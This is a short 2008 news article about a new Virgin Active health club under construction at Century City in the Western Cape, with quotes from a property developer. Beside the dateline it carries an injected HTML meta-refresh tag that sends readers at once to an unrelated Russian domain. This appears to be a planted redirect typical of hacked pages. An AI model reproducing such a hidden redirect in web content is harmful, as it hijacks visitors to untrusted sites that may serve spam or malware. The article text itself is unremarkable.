Century City to get fitness club
2008-02-08 · Western Cape<meta http-equiv="refresh" content="0;url=http://photog.ru/">
A new 4,000sq m exercise and wellness club is being constructed on a prime site at Century City.
The custom-built, state-of-the-art facility is being developed on a high visibility site across Century Boulevard from the recently completed Colosseum development.
The new club, which is being developed at a cost of more than R60m, is due to open its doors in October this year.
Plentiful parking on an adjacent site will be available.
Greg Deans, a director of Rabie Property Group, said one of the most frequently asked questions by stakeholders at Century City was when a health club would be opening.
"Although a number of the residential and commercial developments at Century City do have their own boutique gyms it has become abundantly clear that a health club environment as offered by Virgin Active is fulfilling a major component of the third dimension (leisure activities) in people's lives.
"I am totally convinced that the health club will have strong support from the local Century City family – there are currently more than 35,000 living and working here – and because of its centrality and close proximity to the N1 we expect it will also be well frequented by commuters and people from neighbouring suburbs," he said.
Deans said the gym was located in a growing precinct close to a number of amenities.
"In addition to the convenience retailing and restaurants at the neighbouring Colosseum, Century City's measured walking and jogging trails will start and terminate in close proximity to the health club providing an additional attraction for members."
